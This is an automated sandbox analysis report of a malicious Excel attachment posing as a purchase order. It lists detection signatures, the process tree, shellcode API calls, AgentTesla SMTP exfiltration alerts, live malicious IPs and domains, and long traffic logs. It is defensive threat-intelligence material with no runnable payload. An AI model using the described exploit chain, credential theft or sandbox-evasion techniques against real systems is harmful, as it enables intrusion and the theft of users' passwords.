Edit tour

Windows Analysis Report
PURCHASE ORDER & SAMPLE IMAGE.xlsx

Overview

General Information

Sample Name:	PURCHASE ORDER & SAMPLE IMAGE.xlsx
Analysis ID:	786424
MD5:	27f586f26da21955c782e9268ad1c4ce
SHA1:	b9be1204d078c487f6ade5e2a6cd2164c46a7996
SHA256:	2d46eee159ec36ab5e9f8bc29a7e0464c9b1be8c3454cdb8c9880640dcfda02f
Tags:	xlsx
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Sigma detected: EQNEDT32.EXE connecting to internet

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Antivirus / Scanner detection for submitted sample

Sigma detected: File Dropped By EQNEDT32EXE

Multi AV Scanner detection for dropped file

Snort IDS alert for network traffic

Installs a global keyboard hook

Tries to steal Mail credentials (via file / registry access)

Maps a DLL or memory area into another process

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

May check the online IP address of the machine

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Shellcode detected

Office equation editor drops PE file

Office equation editor establishes network connection

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Contains functionality to detect sleep reduction / modifications

Tries to harvest and steal browser information (history, passwords, etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Yara signature match

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query locales information (e.g. system language)

May sleep (evasive loops) to hinder dynamic analysis

Contains functionality to shutdown / reboot the system

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Stores large binary data to the registry

Found potential string decryption / allocating functions

Found evasive API chain (may stop execution after checking a module file name)

JA3 SSL client fingerprint seen in connection with other malware

Contains functionality to dynamically determine API calls

Potential document exploit detected (performs DNS queries)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

IP address seen in connection with other malware

Document misses a certain OLE stream usually present in this Microsoft Office document type

Contains long sleeps (>= 3 min)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Potential document exploit detected (unknown TCP traffic)

Drops PE files

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Detected TCP or UDP traffic on non-standard ports

Office Equation Editor has been started

Uses SMTP (mail sending)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

May check if the current machine is a sandbox (GetTickCount - Sleep)

Potential document exploit detected (performs HTTP gets)

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Creates a process in suspended mode (likely to inject code)

Contains functionality for read data from the clipboard

Classification

Process Tree

System is w7x64

EXCEL.EXE (PID: 1236 cmdline: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding MD5: D53B85E21886D2AF9815C377537BCAC3)

EQNEDT32.EXE (PID: 868 cmdline: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding MD5: A87236E214F6D42A65F5DEDAC816AEC8)

word.exe (PID: 1924 cmdline: C:\Users\user\AppData\Roaming\word.exe MD5: 1CEC9C1FA633D554029A6402174612D1)

lyebkz.exe (PID: 2604 cmdline: "C:\Users\user\AppData\Local\Temp\lyebkz.exe" C:\Users\user\AppData\Local\Temp\ektmwwvwm.tx MD5: 41467466B6E727C3C65D9501F6A23A04)

lyebkz.exe (PID: 1468 cmdline: C:\Users\user\AppData\Local\Temp\lyebkz.exe MD5: 41467466B6E727C3C65D9501F6A23A04)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
sheet1.xml	INDICATOR_XML_LegacyDrawing_AutoLoad_Document	detects AutoLoad documents using LegacyDrawing	ditekSHen	0x1bb:$s1: <legacyDrawing r:id=" 0x1e3:$s2: <oleObject progId=" 0x231:$s3: autoLoad="true"

Sigma Signatures

Exploits

Sigma detected: EQNEDT32.EXE connecting to internet

Source: Network Connection

Author: Joe Security: Data: DestinationIp: 144.76.136.153, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, Initiated: true, ProcessId: 868, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49173

Sigma detected: File Dropped By EQNEDT32EXE

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ProcessId: 868, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\maxdyn2.1[1].exe

Snort Signatures

ET TROJAN AgentTesla Exfil Via SMTP - Source IP: 192.168.2.22 - Destination IP: 5.249.163.12

Timestamp:	192.168.2.225.249.163.12491795872030171 01/18/23-09:14:44.835847
SID:	2030171
Source Port:	49179
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Agent Tesla Telegram Exfil - Source IP: 192.168.2.22 - Destination IP: 5.249.163.12

Timestamp:	192.168.2.225.249.163.12491765872851779 01/18/23-09:14:10.473531
SID:	2851779
Source Port:	49176
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Agent Tesla Telegram Exfil - Source IP: 192.168.2.22 - Destination IP: 5.249.163.12

Timestamp:	192.168.2.225.249.163.12491775872851779 01/18/23-09:14:10.519471
SID:	2851779
Source Port:	49177
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN AgentTesla Exfil Via SMTP - Source IP: 192.168.2.22 - Destination IP: 5.249.163.12

Timestamp:	192.168.2.225.249.163.12491765872030171 01/18/23-09:14:10.473417
SID:	2030171
Source Port:	49176
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 - Source IP: 192.168.2.22 - Destination IP: 5.249.163.12

Timestamp:	192.168.2.225.249.163.12491785872840032 01/18/23-09:14:44.736459
SID:	2840032
Source Port:	49178
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Agent Tesla Telegram Exfil - Source IP: 192.168.2.22 - Destination IP: 5.249.163.12

Timestamp:	192.168.2.225.249.163.12491795872851779 01/18/23-09:14:44.836010
SID:	2851779
Source Port:	49179
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 - Source IP: 192.168.2.22 - Destination IP: 5.249.163.12

Timestamp:	192.168.2.225.249.163.12491795872840032 01/18/23-09:14:44.836010
SID:	2840032
Source Port:	49179
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN AgentTesla Exfil Via SMTP - Source IP: 192.168.2.22 - Destination IP: 5.249.163.12

Timestamp:	192.168.2.225.249.163.12491785872030171 01/18/23-09:14:44.736395
SID:	2030171
Source Port:	49178
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 - Source IP: 192.168.2.22 - Destination IP: 5.249.163.12

Timestamp:	192.168.2.225.249.163.12491765872840032 01/18/23-09:14:10.473531
SID:	2840032
Source Port:	49176
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 - Source IP: 192.168.2.22 - Destination IP: 5.249.163.12

Timestamp:	192.168.2.225.249.163.12491775872840032 01/18/23-09:14:10.519471
SID:	2840032
Source Port:	49177
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN AgentTesla Exfil Via SMTP - Source IP: 192.168.2.22 - Destination IP: 5.249.163.12

Timestamp:	192.168.2.225.249.163.12491775872030171 01/18/23-09:14:10.519401
SID:	2030171
Source Port:	49177
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Agent Tesla Telegram Exfil - Source IP: 192.168.2.22 - Destination IP: 5.249.163.12

Timestamp:	192.168.2.225.249.163.12491785872851779 01/18/23-09:14:44.736459
SID:	2851779
Source Port:	49178
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: PURCHASE ORDER & SAMPLE IMAGE.xlsx	ReversingLabs: Detection: 56%
Source: PURCHASE ORDER & SAMPLE IMAGE.xlsx	Virustotal: Detection: 59%			Perma Link

Antivirus / Scanner detection for submitted sample

Source: PURCHASE ORDER & SAMPLE IMAGE.xlsx

Avira: detected

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\maxdyn2.1[1].exe	ReversingLabs: Detection: 35%
Source: C:\Users\user\AppData\Roaming\word.exe	ReversingLabs: Detection: 35%

Exploits

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\word.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\word.exe			Jump to behavior

Office equation editor establishes network connection

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Network connect: IP: 144.76.136.153 Port: 80			Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Network connect: IP: 144.76.136.153 Port: 443			Jump to behavior

Source: unknown

Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.22:49174 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 64.185.227.155:443 -> 192.168.2.22:49175 version: TLS 1.2

Source:

Binary string: wntdll.pdb source: lyebkz.exe, 00000006.00000003.978471354.000000001A930000.00000004.00001000.00020000.00000000.sdmp, lyebkz.exe, 00000006.00000003.979961442.000000001AA90000.00000004.00001000.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Roaming\word.exe	Code function: 5_2_00405D74 CloseHandle,GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	5_2_00405D74
Source: C:\Users\user\AppData\Roaming\word.exe	Code function: 5_2_0040699E FindFirstFileW,FindClose,	5_2_0040699E
Source: C:\Users\user\AppData\Roaming\word.exe	Code function: 5_2_0040290B FindFirstFileW,	5_2_0040290B

Software Vulnerabilities

Shellcode detected

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_03674CE0 URLDownloadToFileW,	2_2_03674CE0
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_03674C4F LoadLibraryW,URLDownloadToFileW,	2_2_03674C4F
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_03674D4B ExitProcess,	2_2_03674D4B
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_03674D2B WinExec,ExitProcess,	2_2_03674D2B
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_03674C77 URLDownloadToFileW,	2_2_03674C77

Source: global traffic	DNS query: name: transfer.sh
Source: global traffic	DNS query: name: api.ipify.org
Source: global traffic	DNS query: name: api.ipify.org
Source: global traffic	DNS query: name: box.aosxer.com
Source: global traffic	DNS query: name: box.aosxer.com
Source: global traffic	DNS query: name: box.aosxer.com
Source: global traffic	DNS query: name: box.aosxer.com
Source: global traffic	DNS query: name: box.aosxer.com
Source: global traffic	DNS query: name: box.aosxer.com

Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 144.76.136.153:80
Source: global traffic	TCP traffic: 144.76.136.153:80 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 144.76.136.153:80
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 144.76.136.153:80
Source: global traffic	TCP traffic: 144.76.136.153:80 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 144.76.136.153:80 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 144.76.136.153:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 144.76.136.153:443 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
